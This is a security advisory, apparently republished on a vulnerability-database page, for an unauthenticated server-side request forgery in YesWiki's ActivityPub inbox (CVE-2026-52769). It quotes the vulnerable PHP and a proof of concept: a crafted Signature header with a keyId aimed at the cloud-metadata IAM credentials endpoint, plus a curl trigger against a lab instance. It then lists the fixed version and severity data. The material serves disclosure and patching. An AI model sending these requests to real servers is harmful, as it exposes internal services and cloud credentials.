GHSA-vw42-752g-5mrp CVE-2026-52769
YesWiki has Unauthenticated Server-Side Request Forgery via ActivityPub `Signature.keyId`
- Severity
- 8.3 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.49%
- Chance of exploitation in the next 30 days. Higher than 41.92% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-918 Server-Side Request Forgery (SSRF)
- Fix
4.6.6- Upgrade yeswiki/yeswiki to this version or later
Description
Summary
The POST /api/forms/{formId}/actor/inbox route - exposed publicly with acl:"public" - accepts an HTTP Signature header whose keyId parameter is a URL. HttpSignatureService::verifySignature() parses the header and immediately makes a server-side HTTP GET to that URL, before any cryptographic verification or URL validation. An unauthenticated remote attacker can therefore make YesWiki issue arbitrary outbound HTTP requests to any host the server can reach - internal services, cloud-metadata endpoints (169.254.169.254), intranet-only admin panels, etc. - and read enough back via timing and error-message oracles to scan ports, enumerate services, and (on a real cloud instance) reach IAM metadata.
The only deployment-side precondition is that ActivityPub be enabled on at least one Bazar form (bn_activitypub_enable = '1').
Details
Affected component
- File:
tools/bazar/services/HttpSignatureService.php - Method:
HttpSignatureService::verifySignature(Request $request) - Sink: line 96
- Route:
tools/bazar/controllers/ApiController.phpline 125 —@Route("/api/forms/{formId}/actor/inbox", methods={"POST"}, options={"acl":{"public"}})
// tools/bazar/services/HttpSignatureService.php (v4.6.5 = origin/doryphore-dev HEAD,
// lines 83–100)
public function verifySignature(Request $request) {
if (!$request->headers->has('Signature')) {
throw new Exception('No signature');
}
$sigConf = parse_ini_string(
strtr($request->headers->get('Signature'), ["," => "\n"]) // (a) attacker controls every field
);
if (!isset($sigConf['keyId'],$sigConf['algorithm'],$sigConf['headers'],$sigConf['signature'])) {
throw new Exception('Malformed signature');
}
$response = $this->httpClient->request('GET', $sigConf['keyId'], [ // (b) SINK — no validation,
'headers' => [ 'Accept' => 'application/ld+json'] // no allowlist, no scheme
]); // pinning, no IP filtering
...
}
The inbox controller calls verifySignature() before running any cryptography:
// tools/bazar/controllers/ApiController.php (lines 125–145)
/** @Route("/api/forms/{formId}/actor/inbox", methods={"POST"}, options={"acl":{"public"}}) */
public function postFormActorInbox($formId, Request $request)
{
$activityPubService = $this->getService(ActivityPubService::class);
$httpSignatureService = $this->getService(HttpSignatureService::class);
$form = $this->getService(BazarListService::class)->getForms(['idtypeannonce' => $formId])[$formId];
if ($activityPubService->isEnabled($form)) {
$activity = json_decode($request->getContent(), true);
$httpSignatureService->verifySignature($request); // <-- SSRF fires here
$activityPubService->processActivity($activity, $form);
return new ApiResponse(null, Response::HTTP_OK, …);
} else {
throw new NotFoundHttpException();
}
}
The flow is public ACL → enabled-form gate → unconditional outbound HTTP. The attacker controls only the keyId value and never has to produce a valid signature, because the outbound fetch is the very first thing that touches the network.
End-to-end attack chain
A single HTTP request, no session, no CSRF token, no captcha:
POST /?api/forms/1/actor/inbox HTTP/1.1
Host: target.example
Content-Type: application/activity+json
Signature: keyId="http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>",algorithm="rsa-sha256",headers="x",signature="y"
{}
- The Symfony controller matches the route on
formId=1. ActivityPubService::isEnabled($form)returns true (set when the operator turned the feature on).verifySignature()parses the header into a key-value array, findskeyId, and callshttpClient->request('GET', '<attacker URL>').- YesWiki's server now reaches out to whatever URL the attacker provided. The response body is parsed as JSON; if it doesn't contain
publicKey.publicKeyPemthe controller returns an HTTP 500 whose JSON body leaks the full exception message and stack trace, including the URL.
PoC
Pre Reqs
- Yeswiki v4.6.5 lab image (Setup via podman)
- ActivityPub enabled on the target form
For the rest of this document:
BASE="http://localhost:8085"
CTR="yeswiki-poc"
Before we start, make sure ActivityPub is enabled on the target form
podman exec "$CTR" mysql -uroot yeswiki -e \
"SELECT bn_id_nature AS id, bn_label_nature AS form, bn_activitypub_enable AS ap
FROM yeswiki_nature WHERE bn_id_nature = 1;"
Send the unauthenticated SSRF trigger:
TARGET="http://127.0.0.1:9999/aws-metadata?from=ssrf"
curl -s -X POST "${BASE}/?api/forms/1/actor/inbox" \
-H "Content-Type: application/activity+json" \
-H "Signature: keyId=\"${TARGET}\",algorithm=\"rsa-sha256\",headers=\"x\",signature=\"y\"" \
-d '{}' \
-w '\n HTTP %{http_code}, elapsed=%{time_total}s\n'
You will get an error in response like this:
{"exceptionMessage":"Exception: Missing public key in /var/www/html/tools/bazar/services/HttpSignatureService.php:103\nStack trace:…"}
HTTP 500, elapsed=0.15s
The 500 and the "Missing public key" exception are the signal the outbound fetch went all the way to the JSON parse — the listener returned {}, which contained no publicKey field, so the handler bailed after talking to the listener.
Tested with webhook: <img width="1473" height="678" alt="image" src="https://github.com/user-attachments/assets/6c720c68-3087-4e1a-b990-0a9f12ba8bbc" />
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| yeswiki/yeswiki | >= 4.6.2, < 4.6.6 |
4.6.6 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
yeswiki/yeswiki Packagist → 4.6.6
- composer
composer require yeswiki/yeswiki:^4.6.6
Severity breakdown
CVSS 3.1 8.3
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Changed
- Confidentiality
- Low
- Integrity
- Low
- Availability
- Low
Weakness
CWE-918: Server-Side Request Forgery (SSRF)
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
References
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-9369-69wj-7m2f YesWiki Vulnerable to Authenticated PHP Object Injection in BazarImportAction via unserialize | Critical | Also affects yeswiki/yeswiki |
| GHSA-4pf7-cc4r-g63h YesWiki has Authenticated SQL Injection via ReactionManager | High | Also affects yeswiki/yeswiki |
| GHSA-r5xw-gcgw-hwp5 YesWiki Vulnerable to Reflected XSS via Unescaped `id` Parameter in Bazar Widget HTML Attributes | Medium | Also affects yeswiki/yeswiki |
| GHSA-35f3-pg38-486f YesWiki Vulnerable to Reflected XSS via Unescaped Archived-Revision `time` Parameter in `handlers/page/show.php` | Medium | Also affects yeswiki/yeswiki |
| GHSA-xc7j-3g8q-9vh4 YesWiki has stored XSS in Bazar form-field templates via unescaped field.label / field.hint (|raw('html')) | Medium | Also affects yeswiki/yeswiki |
| GHSA-8f2v-2qhj-gfwg YesWiki: Second-Order SQL Injection in Page Delete API via Unescaped Page Tag (`ApiController::deletePage`) | High | Also affects yeswiki/yeswiki |
| GHSA-qg78-vmvc-fhjw YesWiki: SQL Injection possible through public Bazar entry-listing APIs via numeric `query`/`queries` filters | High | Also affects yeswiki/yeswiki |
| GHSA-mv28-wj57-f57g YesWiki Vulnerable to Unauthenticated ActivityPub Signature-Verification Bypass via `!openssl_verify(...)` accepting `int(-1)` | High | Also affects yeswiki/yeswiki |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor